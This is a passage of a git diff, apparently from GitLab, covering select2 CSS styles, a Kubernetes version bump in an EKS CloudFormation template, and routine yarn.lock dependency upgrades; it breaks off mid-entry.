+ background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
+}
+html[dir="rtl"] .select2-container-multi .select2-choices .select2-search-choice
+{
+ margin: 3px 5px 3px 0;
+ padding: 3px 18px 3px 5px;
+}
+.select2-container-multi .select2-choices .select2-search-choice .select2-chosen {
+ cursor: default;
+}
+.select2-container-multi .select2-choices .select2-search-choice-focus {
+ background: #d4d4d4;
+}
+
+.select2-search-choice-close {
+ display: block;
+ width: 12px;
+ height: 13px;
+ position: absolute;
+ right: 3px;
+ top: 4px;
+
+ font-size: 1px;
+ outline: none;
+ background: url(image-path('select2.png')) right top no-repeat;
+}
+html[dir="rtl"] .select2-search-choice-close {
+ right: auto;
+ left: 3px;
+}
+
+.select2-container-multi .select2-search-choice-close {
+ left: 3px;
+}
+
+html[dir="rtl"] .select2-container-multi .select2-search-choice-close {
+ left: auto;
+ right: 2px;
+}
+
+.select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover {
+background-position: right -11px;
+}
+.select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close {
+ background-position: right -11px;
+}
+
+/* disabled styles */
+.select2-container-multi.select2-container-disabled .select2-choices {
+ background-color: #f4f4f4;
+ background-image: none;
+ border: 1px solid #ddd;
+ cursor: default;
+}
+
+.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice {
+ padding: 3px 5px 3px 5px;
+ border: 1px solid #ddd;
+ background-image: none;
+ background-color: #f4f4f4;
+}
+
+.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close { display: none;
+ background: none;
+}
+/* end multiselect */
+
+
+.select2-result-selectable .select2-match,
+.select2-result-unselectable .select2-match {
+ text-decoration: underline;
+}
+
+.select2-offscreen, .select2-offscreen:focus {
+ clip: rect(0 0 0 0) !important;
+ width: 1px !important;
+ height: 1px !important;
+ border: 0 !important;
+ margin: 0 !important;
+ padding: 0 !important;
+ overflow: hidden !important;
+ position: absolute !important;
+ outline: 0 !important;
+ left: 0px !important;
+ top: 0px !important;
+}
+
+.select2-display-none {
+ display: none;
+}
+
+.select2-measure-scrollbar {
+ position: absolute;
+ top: -10000px;
+ left: -10000px;
+ width: 100px;
+ height: 100px;
+ overflow: scroll;
+}
+
+/* Retina-ize icons */
+
+@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 2dppx) {
+ .select2-search input,
+ .select2-search-choice-close,
+ .select2-container .select2-choice abbr,
+ .select2-container .select2-choice .select2-arrow b {
+ background-image: url(image-path('select2x2.png')) !important;
+ background-repeat: no-repeat !important;
+ background-size: 60px 40px !important;
+ }
+
+ .select2-search input {
+ background-position: 100% -21px !important;
+ }
+}
diff --git a/vendor/aws/cloudformation/eks_cluster.yaml b/vendor/aws/cloudformation/eks_cluster.yaml
index c32f54d66dc..c3f9c73cd1f 100644
--- a/vendor/aws/cloudformation/eks_cluster.yaml
+++ b/vendor/aws/cloudformation/eks_cluster.yaml
@@ -7,11 +7,12 @@ Parameters:
KubernetesVersion:
Description: The Kubernetes version to install
Type: String
- Default: 1.14
+ Default: 1.16
AllowedValues:
- - 1.12
- - 1.13
- 1.14
+ - 1.15
+ - 1.16
+ - 1.17
KeyName:
Description: The EC2 Key Pair to allow SSH access to the node instances
diff --git a/vendor/gitignore/C++.gitignore b/vendor/gitignore/C++.gitignore
index 259148fa18f..259148fa18f 100755..100644
--- a/vendor/gitignore/C++.gitignore
+++ b/vendor/gitignore/C++.gitignore
diff --git a/vendor/gitignore/Java.gitignore b/vendor/gitignore/Java.gitignore
index a1c2a238a96..a1c2a238a96 100755..100644
--- a/vendor/gitignore/Java.gitignore
+++ b/vendor/gitignore/Java.gitignore
diff --git a/yarn.lock b/yarn.lock
index decf652a973..9bb1756daa6 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -827,10 +827,10 @@
resolved "https://registry.yarnpkg.com/@gitlab/at.js/-/at.js-1.5.5.tgz#5f6bfe6baaef360daa9b038fa78798d7a6a916b4"
integrity sha512-282Dn3SPVsUHVDhMsXgfnv+Rzog0uxecjttxGRQvxh25es1+xvkGQFsvJfkSKJ3X1kHVkSjKf+Tt5Rra+Jhp9g==
-"@gitlab/eslint-plugin@3.2.0":
- version "3.2.0"
- resolved "https://registry.yarnpkg.com/@gitlab/eslint-plugin/-/eslint-plugin-3.2.0.tgz#e1780c2cab4c206e4900f2a1a4cf636f788182ea"
- integrity sha512-3s28sQoGMgmwKtmVij7TjBDdW6fHiP4k6k6FWZdU6XZBJFwwA0JlU8PzYZRRTyY+pYed2u1jF06LHzv5YWNS2g==
+"@gitlab/eslint-plugin@4.0.0":
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/eslint-plugin/-/eslint-plugin-4.0.0.tgz#7beba53dea74f458d92040a8b2652e4fd60a6cc7"
+ integrity sha512-Gba9HXwWOLAN+O2H8WmGNPZFQ410wiGFmhgDQ5Sx4ic/N1ymtwNen2pnsaWcw8KK/1vAB/rHNUhH4Xu/l/mfMg==
dependencies:
babel-eslint "^10.0.3"
eslint-config-airbnb-base "^14.0.0"
@@ -843,15 +843,15 @@
eslint-plugin-vue "^6.2.1"
vue-eslint-parser "^7.0.0"
-"@gitlab/svgs@1.158.0":
- version "1.158.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.158.0.tgz#300d416184a2b0e05f15a96547f726e1825b08a1"
- integrity sha512-5OJl+7TsXN9PJhY6/uwi+mTwmDZa9n/6119rf77orQ/joFYUypaYhBmy/1TcKVPsy5Zs6KCxE1kmGsfoXc1TYA==
+"@gitlab/svgs@1.164.0":
+ version "1.164.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.164.0.tgz#6cefad871c45f945ef92b99015d0f510b1d2de4a"
+ integrity sha512-a9e/cYUc1QQk7azjH4x/m6/p3icavwGEi5F9ipNlDqiJtUor5tqojxvMxPOhuVbN/mTwnC6lGsSZg4tqTsdJAQ==
-"@gitlab/ui@20.3.1":
- version "20.3.1"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-20.3.1.tgz#4f29f9c16b34303074228081264415c3cd1e04de"
- integrity sha512-CwxTKzvyVU4s25RCcfa4NBSxnRqQ/zHrYsAyBOJdK7uTDcuoPh6UqvXw4U0ghyIExRtTsF9GCWQJNYxcRT6p/g==
+"@gitlab/ui@21.3.1":
+ version "21.3.1"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-21.3.1.tgz#027b767804540539da73d4874370895d7398adea"
+ integrity sha512-ynyg8i8W8Ud+GoySr4hAjJoW55kWMwSEFLX5MEX8CbdqGurkTLqHYLLpXPBSSnVEcw4stR+bFbKSc35rmBkWPA==
dependencies:
"@babel/standalone" "^7.0.0"
"@gitlab/vue-toasted" "^1.3.0"
@@ -861,7 +861,7 @@
echarts "^4.2.1"
highlight.js "^9.13.1"
js-beautify "^1.8.8"
- lodash "^4.17.14"
+ lodash "^4.17.20"
portal-vue "^2.1.6"
resize-observer-polyfill "^1.5.1"
url-search-params-polyfill "^5.0.0"
@@ -1076,56 +1076,56 @@
resolved "https://registry.yarnpkg.com/@rails/actioncable/-/actioncable-6.0.3-1.tgz#9b9eb8858a6507162911007d355d9a206e1c5caa"
integrity sha512-szFhWD+V5TAxVNVIG16klgq+ypqA5k5AecLarTTrXgOG8cawVbQdOAwLbCmzkwiQ60rGSxAFoC1u2LrzxSK2Aw==
-"@sentry/browser@^5.10.2":
- version "5.10.2"
- resolved "https://registry.yarnpkg.com/@sentry/browser/-/browser-5.10.2.tgz#0bbb05505c58ea998c833cffec3f922fe4b4fa58"
- integrity sha512-r3eyBu2ln7odvWtXARCZPzpuGrKsD6U9F3gKTu4xdFkA0swSLUvS7AC2FUksj/1BE23y+eB/zzPT+RYJ58tidA==
+"@sentry/browser@^5.22.3":
+ version "5.22.3"
+ resolved "https://registry.yarnpkg.com/@sentry/browser/-/browser-5.22.3.tgz#7a64bd1cf01bf393741a3e4bf35f82aa927f5b4e"
+ integrity sha512-2TzE/CoBa5ZkvxJizDdi1Iz1ldmXSJpFQ1mL07PIXBjCt0Wxf+WOuFSj5IP4L40XHfJE5gU8wEvSH0VDR8nXtA==
dependencies:
- "@sentry/core" "5.10.2"
- "@sentry/types" "5.10.0"
- "@sentry/utils" "5.10.2"
+ "@sentry/core" "5.22.3"
+ "@sentry/types" "5.22.3"
+ "@sentry/utils" "5.22.3"
tslib "^1.9.3"
-"@sentry/core@5.10.2":
- version "5.10.2"
- resolved "https://registry.yarnpkg.com/@sentry/core/-/core-5.10.2.tgz#1cb64489e6f8363c3249415b49d3f1289814825f"
- integrity sha512-sKVeFH3v8K8xw2vM5MKMnnyAAwih+JSE3pbNL0CcCCA+/SwX+3jeAo2BhgXev2SAR/TjWW+wmeC9TdIW7KyYbg==
+"@sentry/core@5.22.3":
+ version "5.22.3"
+ resolved "https://registry.yarnpkg.com/@sentry/core/-/core-5.22.3.tgz#030f435f2b518f282ba8bd954dac90cd70888bd7"
+ integrity sha512-eGL5uUarw3o4i9QUb9JoFHnhriPpWCaqeaIBB06HUpdcvhrjoowcKZj1+WPec5lFg5XusE35vez7z/FPzmJUDw==
dependencies:
- "@sentry/hub" "5.10.2"
- "@sentry/minimal" "5.10.2"
- "@sentry/types" "5.10.0"
- "@sentry/utils" "5.10.2"
+ "@sentry/hub" "5.22.3"
+ "@sentry/minimal" "5.22.3"
+ "@sentry/types" "5.22.3"
+ "@sentry/utils" "5.22.3"
tslib "^1.9.3"
-"@sentry/hub@5.10.2":
- version "5.10.2"
- resolved "https://registry.yarnpkg.com/@sentry/hub/-/hub-5.10.2.tgz#25d9f36b8f7c5cb65cf486737fa61dc9bf69b7e3"
- integrity sha512-hSlZIiu3hcR/I5yEhlpN9C0nip+U7hiRzRzUQaBiHO4YG4TC58NqnOPR89D/ekiuHIXzFpjW9OQmqtAMRoSUYA==
+"@sentry/hub@5.22.3":
+ version "5.22.3"
+ resolved "https://registry.yarnpkg.com/@sentry/hub/-/hub-5.22.3.tgz#08309a70d2ea8d5e313d05840c1711f34f2fffe5"
+ integrity sha512-INo47m6N5HFEs/7GMP9cqxOIt7rmRxdERunA3H2L37owjcr77MwHVeeJ9yawRS6FMtbWXplgWTyTIWIYOuqVbw==
dependencies:
- "@sentry/types" "5.10.0"
- "@sentry/utils" "5.10.2"
+ "@sentry/types" "5.22.3"
+ "@sentry/utils" "5.22.3"
tslib "^1.9.3"
-"@sentry/minimal@5.10.2":
- version "5.10.2"
- resolved "https://registry.yarnpkg.com/@sentry/minimal/-/minimal-5.10.2.tgz#267c2f3aa6877a0fe7a86971942e83f3ee616580"
- integrity sha512-GalixiM9sckYfompH5HHTp9XT2BcjawBkcl1DMEKUBEi37+kUq0bivOBmnN1G/I4/wWOUdnAI/kagDWaWpbZPg==
+"@sentry/minimal@5.22.3":
+ version "5.22.3"
+ resolved "https://registry.yarnpkg.com/@sentry/minimal/-/minimal-5.22.3.tgz#706e4029ae5494123d3875c658ba8911aa5cc440"
+ integrity sha512-HoINpYnVYCpNjn2XIPIlqH5o4BAITpTljXjtAftOx6Hzj+Opjg8tR8PWliyKDvkXPpc4kXK9D6TpEDw8MO0wZA==
dependencies:
- "@sentry/hub" "5.10.2"
- "@sentry/types" "5.10.0"
+ "@sentry/hub" "5.22.3"
+ "@sentry/types" "5.22.3"
tslib "^1.9.3"
-"@sentry/types@5.10.0":
- version "5.10.0"
- resolved "https://registry.yarnpkg.com/@sentry/types/-/types-5.10.0.tgz#4f0ba31b6e4d5371112c38279f11f66c73b43746"
- integrity sha512-TW20GzkCWsP6uAxR2JIpIkiitCKyIOfkyDsKBeLqYj4SaZjfvBPnzgNCcYR0L0UsP1/Es6oHooZfIGSkp6GGxQ==
+"@sentry/types@5.22.3":
+ version "5.22.3"
+ resolved "https://registry.yarnpkg.com/@sentry/types/-/types-5.22.3.tgz#d1d547b30ee8bd7771fa893af74c4f3d71f0fd18"
+ integrity sha512-cv+VWK0YFgCVDvD1/HrrBWOWYG3MLuCUJRBTkV/Opdy7nkdNjhCAJQrEyMM9zX0sac8FKWKOHT0sykNh8KgmYw==
-"@sentry/utils@5.10.2":
- version "5.10.2"
- resolved "https://registry.yarnpkg.com/@sentry/utils/-/utils-5.10.2.tgz#261f575079d30aaf604e59f5f4de0aa21db22252"
- integrity sha512-UcbbaFpYrGSV448lQ16Cr+W/MPuKUflQQUdrMCt5vgaf5+M7kpozlcji4GGGZUCXIA7oRP93ABoXj55s1OM9zw==
+"@sentry/utils@5.22.3":
+ version "5.22.3"
+ resolved "https://registry.yarnpkg.com/@sentry/utils/-/utils-5.22.3.tgz#e3bda3e789239eb16d436f768daa12829f33d18f"
+ integrity sha512-AHNryXMBvIkIE+GQxTlmhBXD0Ksh+5w1SwM5qi6AttH+1qjWLvV6WB4+4pvVvEoS8t5F+WaVUZPQLmCCWp6zKw==
dependencies:
- "@sentry/types" "5.10.0"
+ "@sentry/types" "5.22.3"
tslib "^1.9.3"
"@sindresorhus/is@^0.14.0":
@@ -1140,10 +1140,10 @@
dependencies:
type-detect "4.0.8"
-"@sourcegraph/code-host-integration@0.0.49":
- version "0.0.49"
- resolved "https://registry.yarnpkg.com/@sourcegraph/code-host-integration/-/code-host-integration-0.0.49.tgz#d0d1e61fd058d63a2798d5131d05738aa0ac4765"
- integrity sha512-aMSTy+JqVaJ6E8zpQUU1bH5kwGvpt1pWPkT5/o/HnN113ZLlBfvPpNdiXDiTUYcc3zHAtFa49VD34AgxglXG9w==
+"@sourcegraph/code-host-integration@0.0.50":
+ version "0.0.50"
+ resolved "https://registry.yarnpkg.com/@sourcegraph/code-host-integration/-/code-host-integration-0.0.50.tgz#3f91be4c1b117efbf3d49c73033a6b1880db1c70"
+ integrity sha512-Hf4JeXDnqxOpW8lrkmgzKCYKklQhS6f87j4EPxK//UdjV7W7rtBhsxr6RQqdV2VdVaVCLQW2tfA/tkm0zDk8CQ==
"@szmarczak/http-timer@^1.1.2":
version "1.1.2"
@@ -1162,20 +1162,20 @@
dom-accessibility-api "^0.4.5"
pretty-format "^25.5.0"
-"@toast-ui/editor@^2.3.1":
- version "2.3.1"
- resolved "https://registry.yarnpkg.com/@toast-ui/editor/-/editor-2.3.1.tgz#add692840011efcdbd9b4b6de93dda2da12c36a0"
- integrity sha512-0akQUnyCg24SBBb+weRX6VJ6ZjltxYEivBWOHft0birkrPF0YQgKjebPtFGPB9THBSUY+0qyr6k/KIN2rZqUog==
+"@toast-ui/editor@^2.4.0":
+ version "2.4.0"
+ resolved "https://registry.yarnpkg.com/@toast-ui/editor/-/editor-2.4.0.tgz#0ed082da7e0160162dbc8f69d00ad3ab2adf81bc"
+ integrity sha512-49YCYcDnCjv4mC9VVNlytJ23SA5t6ox540GnmysluJHJ8aGRdWcVoH8hiyCZi9ZVIXi90B/TU+2HUQ7mOCHHRQ==
dependencies:
"@types/codemirror" "0.0.71"
codemirror "^5.48.4"
-"@toast-ui/vue-editor@^2.3.1":
- version "2.3.1"
- resolved "https://registry.yarnpkg.com/@toast-ui/vue-editor/-/vue-editor-2.3.1.tgz#ca8771a77513d1998123db717626a2ec4267b6f5"
- integrity sha512-vEElTwJ3CwUL2da2y3gxKVK7bRWC+d6SrUyOQNeCDtN95vEs/7MUNK4cUAxAGDZuDYg1KB2ZpBtc/dV1LkO9XQ==
+"@toast-ui/vue-editor@^2.4.0":
+ version "2.4.0"
+ resolved "https://registry.yarnpkg.com/@toast-ui/vue-editor/-/vue-editor-2.4.0.tgz#18b6629006f2dac5bfef4a26388499931d5fa869"
+ integrity sha512-fj4H4jM+usW43mD0VEIfBeUpANY9/pQLB8GlXLQH2iAmpmJFX+xMZl6r7d/vw6TDJaHLfFxP/iXcYIfyJobepQ==
dependencies:
- "@toast-ui/editor" "^2.3.1"
+ "@toast-ui/editor" "^2.4.0"
"@types/babel__core@^7.1.0":
version "7.1.2"
@@ -2085,13 +2085,12 @@ axios-mock-adapter@^1.15.0:
dependencies:
deep-equal "^1.0.1"
-axios@^0.19.0:
- version "0.19.0"
- resolved "https://registry.yarnpkg.com/axios/-/axios-0.19.0.tgz#8e09bff3d9122e133f7b8101c8fbdd00ed3d2ab8"
- integrity sha512-1uvKqKQta3KBxIz14F2v06AEHZ/dIoeKfbTRkK1E5oqjDnuEerLmYTgJB5AiQZHJcljpg1TuRzdjDR06qNk0DQ==
+axios@^0.20.0:
+ version "0.20.0"
+ resolved "https://registry.yarnpkg.com/axios/-/axios-0.20.0.tgz#057ba30f04884694993a8cd07fa394cff11c50bd"
+ integrity sha512-ANA4rr2BDcmmAQLOKft2fufrtuvlqR+cXNNinUmvfeSNCOF98PZL+7M/v1zIdGo7OLjEA9J2gXJL+j4zGsl0bA==
dependencies:
- follow-redirects "1.5.10"
- is-buffer "^2.0.2"
+ follow-redirects "^1.10.0"
babel-eslint@^10.0.3:
version "10.0.3"
@@ -2858,7 +2857,7 @@ cli-width@^2.0.0:
resolved "https://registry.yarnpkg.com/cli-width/-/cli-width-2.2.0.tgz#ff19ede8a9a5e579324147b0c11f0fbcbabed639"
integrity sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=
-clipboard@^1.5.5, clipboard@^1.7.1:
+clipboard@^1.7.1:
version "1.7.1"
resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-1.7.1.tgz#360d6d6946e99a7a1fef395e42ba92b5e9b5a16b"
integrity sha1-Ng1taUbpmnof7zleQrqStem1oWs=
@@ -2867,6 +2866,15 @@ clipboard@^1.5.5, clipboard@^1.7.1:
select "^1.1.2"
tiny-emitter "^2.0.0"
+clipboard@^2.0.0:
+ version "2.0.6"
+ resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.6.tgz#52921296eec0fdf77ead1749421b21c968647376"
+ integrity sha512-g5zbiixBRk/wyKakSwCKd7vQXDjFnAMGHoEyBogG/bw9kTD9GvdAvaoRR1ALcEzt3pVKxZR0pViekPMIS0QyGg==
+ dependencies:
+ good-listener "^1.2.2"
+ select "^1.1.2"
+ tiny-emitter "^2.0.0"
+
cliui@^3.2.0:
version "3.2.0"
resolved "https://registry.yarnpkg.com/cliui/-/cliui-3.2.0.tgz#120601537a916d29940f934da3b48d585a39213d"
@@ -3805,13 +3813,6 @@ debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.9:
dependencies:
ms "2.0.0"
-debug@=3.1.0, debug@~3.1.0:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/debug/-/debug-3.1.0.tgz#5bb5a0672628b64149566ba16819e61518c67261"
- integrity sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==
- dependencies:
- ms "2.0.0"
-
debug@^3.1.1, debug@^3.2.5, debug@^3.2.6:
version "3.2.6"
resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.6.tgz#e83d17de16d8a7efb7717edbe5fb10135eee629b"
@@ -3826,6 +3827,13 @@ debug@^4.0.1, debug@^4.1.0, debug@^4.1.1:
dependencies:
ms "^2.1.1"
+debug@~3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/debug/-/debug-3.1.0.tgz#5bb5a0672628b64149566ba16819e61518c67261"
+ integrity sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==
+ dependencies:
+ ms "2.0.0"
+
decamelize-keys@^1.0.0:
version "1.1.0"
resolved "https://registry.yarnpkg.com/decamelize-keys/-/decamelize-keys-1.1.0.tgz#d171a87933252807eb3cb61dc1c1445d078df2d9"
@@ -5130,12 +5138,10 @@ flush-write-stream@^1.0.0:
inherits "^2.0.3"
readable-stream "^2.3.6"
-follow-redirects@1.5.10, follow-redirects@^1.0.0:
- version "1.5.10"
- resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.5.10.tgz#7b7a9f9aea2fdff36786a94ff643ed07f4ff5e2a"
- integrity sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==
- dependencies:
- debug "=3.1.0"
+follow-redirects@^1.0.0, follow-redirects@^1.10.0:
+ version "1.13.0"
+ resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.13.0.tgz#b42e8d93a2a7eea5ed88633676d6597bc8e384db"
+ integrity sha512-aq6gF1BEKje4a9i9+5jimNFIpq4Q1WiwBToeRK5NvZBd/TRsmW8BsJfOEGkr76TbOyPVD3OVDN910EcUNtRYEA==
font-awesome@4.7.0:
version "4.7.0"
@@ -5575,6 +5581,16 @@ graphql@^14.7.0:
dependencies:
iterall "^1.2.2"
+gray-matter@^4.0.2:
+ version "4.0.2"
+ resolved "https://registry.yarnpkg.com/gray-matter/-/gray-matter-4.0.2.tgz#9aa379e3acaf421193fce7d2a28cebd4518ac454"
+ integrity sha512-7hB/+LxrOjq/dd8APlK0r24uL/67w7SkYnfwhNFwg/VDIGWGmduTDYf3WNstLW2fbbmRwrDGCVSJ2isuf2+4Hw==
+ dependencies:
+ js-yaml "^3.11.0"
+ kind-of "^6.0.2"
+ section-matter "^1.0.0"
+ strip-bom-string "^1.0.0"
+
growly@^1.3.0:
version "1.3.0"
resolved "https://registry.yarnpkg.com/growly/-/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
@@ -5945,6 +5961,11 @@ immediate@~3.0.5:
resolved "https://registry.yarnpkg.com/immediate/-/immediate-3.0.6.tgz#9db1dbd0faf8de6fbe0f5dd5e56bb606280de69b"
integrity sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=
+immer@^7.0.7:
+ version "7.0.7"
+ resolved "https://registry.yarnpkg.com/immer/-/immer-7.0.7.tgz#9dfe713d49bf871cc59aedfce59b1992fa37a977"
+ integrity sha512-Q8yYwVADJXrNfp1ZUAh4XDHkcoE3wpdpb4mC5abDSajs2EbW8+cGdPyAnglMyLnm7EF6ojD2xBFX7L5i4TIytw==
+
import-fresh@^2.0.0:
version "2.0.0"
resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
@@ -6180,7 +6201,7 @@ is-buffer@^1.1.5, is-buffer@~1.1.1:
resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==
-is-buffer@^2.0.0, is-buffer@^2.0.2:
+is-buffer@^2.0.0:
version "2.0.3"
resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-2.0.3.tgz#4ecf3fcf749cbd1e472689e109ac66261a25e725"
integrity sha512-U15Q7MXTuZlrbymiz95PJpZxu8IlipAp4dtS3wOdgPXx3mqBnslrWU14kxfHB+Py/+2PVKSr37dMAgM2A4uArw==
@@ -7095,7 +7116,7 @@ js-cookie@^2.2.1:
resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
-js-yaml@^3.12.0, js-yaml@^3.13.1, js-yaml@~3.13.1:
+js-yaml@^3.11.0, js-yaml@^3.12.0, js-yaml@^3.13.1, js-yaml@~3.13.1:
version "3.13.1"
resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.13.1.tgz#aff151b30bfdfa8e49e05da22e7415e9dfa37847"
integrity sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==
@@ -7730,10 +7751,10 @@ lodash.values@^4.3.0:
resolved "https://registry.yarnpkg.com/lodash.values/-/lodash.values-4.3.0.tgz#a3a6c2b0ebecc5c2cba1c17e6e620fe81b53d347"
integrity sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=
-lodash@^4.0.0, lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@~4.17.10:
- version "4.17.15"
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
- integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
+lodash@^4.0.0, lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.20, lodash@~4.17.10:
+ version "4.17.20"
+ resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.20.tgz#b44a9b6297bcb698f1c51a3545a2b3b368d59c52"
+ integrity sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==
log-symbols@^2.1.0, log-symbols@^2.2.0:
version "2.2.0"
@@ -8360,10 +8381,10 @@ monaco-yaml@^2.4.1:
optionalDependencies:
prettier "^1.19.1"
-mousetrap@^1.4.6:
- version "1.4.6"
- resolved "https://registry.yarnpkg.com/mousetrap/-/mousetrap-1.4.6.tgz#eaca72e22e56d5b769b7555873b688c3332e390a"
- integrity sha1-6spy4i5W1bdpt1VYc7aIwzMuOQo=
+mousetrap@1.6.5:
+ version "1.6.5"
+ resolved "https://registry.yarnpkg.com/mousetrap/-/mousetrap-1.6.5.tgz#8a766d8c272b08393d5f56074e0b5ec183485bf9"
+ integrity sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA==
move-concurrently@^1.0.1:
version "1.0.1"
@@ -9530,12 +9551,12 @@ pretty@^2.0.0:
extend-shallow "^2.0.1"
js-beautify "^1.6.12"
-prismjs@^1.6.0:
- version "1.6.0"
- resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.6.0.tgz#118d95fb7a66dba2272e343b345f5236659db365"
- integrity sha1-EY2V+3pm26InLjQ7NF9SNmWds2U=
+prismjs@^1.21.0:
+ version "1.21.0"
+ resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.21.0.tgz#36c086ec36b45319ec4218ee164c110f9fc015a3"
+ integrity sha512-uGdSIu1nk3kej2iZsLyDoJ7e9bnPzIgY0naW/HdknGj61zScaprVEVGHrPoXqI+M9sP0NDnTK2jpkvmldpuqDw==
optionalDependencies:
- clipboard "^1.5.5"
+ clipboard "^2.0.0"
private@^0.1.8:
version "0.1.8"
@@ -10481,6 +10502,14 @@ scss-tokenizer@^0.2.3:
js-base64 "^2.1.8"
source-map "^0.4.2"
+section-matter@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/section-matter/-/section-matter-1.0.0.tgz#e9041953506780ec01d59f292a19c7b850b84167"
+ integrity sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==
+ dependencies:
+ extend-shallow "^2.0.1"
+ kind-of "^6.0.0"
+
select-hose@^2.0.0:
version "2.0.0"
resolved "https://registry.yarnpkg.com/select-hose/-/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca"
@@ -11143,6 +11172,11 @@ strip-ansi@^6.0.0:
dependencies:
ansi-regex "^5.0.0"
+strip-bom-string@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/strip-bom-string/-/strip-bom-string-1.0.0.tgz#e5211e9224369fbb81d633a2f00044dc8cedad92"
+ integrity sha1-5SEekiQ2n7uB1jOi8ABE3IztrZI=
+
strip-bom@^2.0.0:
version "2.0.0"
resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-2.0.0.tgz#6219a85616520491f35788bdbf1447a99c7e6b0e"
@@ -11310,10 +11344,10 @@ svg-tags@^1.0.0:
resolved "https://registry.yarnpkg.com/svg-tags/-/svg-tags-1.0.0.tgz#58f71cee3bd519b59d4b2a843b6c7de64ac04764"
integrity sha1-WPcc7jvVGbWdSyqEO2x95krAR2Q=
-swagger-ui-dist@^3.26.2:
- version "3.26.2"
- resolved "https://registry.yarnpkg.com/swagger-ui-dist/-/swagger-ui-dist-3.26.2.tgz#22c700906c8911b1c9956da6c3fca371dba6219f"
- integrity sha512-cpR3A9uEs95gGQSaIXgiTpnetIifTF1u2a0fWrnVl+HyLpCdHVgOy7FGlVD1iVkts7AE5GOiGjA7VyDNiRaNgw==
+swagger-ui-dist@^3.32.4:
+ version "3.32.4"
+ resolved "https://registry.yarnpkg.com/swagger-ui-dist/-/swagger-ui-dist-3.32.4.tgz#6fa920a99e38eaaf129580ac158cf730494a2190"
+ integrity sha512-3qUqK131a5nqGdDJhLflTNzvrjZgjBlINYNx+Jm5lw/Va88Lcu5iyjUupY3Js/Kf326z1XtXkrr6TbvE6r925g==
symbol-observable@^1.0.2:
version "1.2.0"
@@ -12281,10 +12315,10 @@ vue-loader@^15.9.0:
vue-hot-reload-api "^2.3.0"
vue-style-loader "^4.1.0"
-vue-router@^3.0.2:
- version "3.0.2"
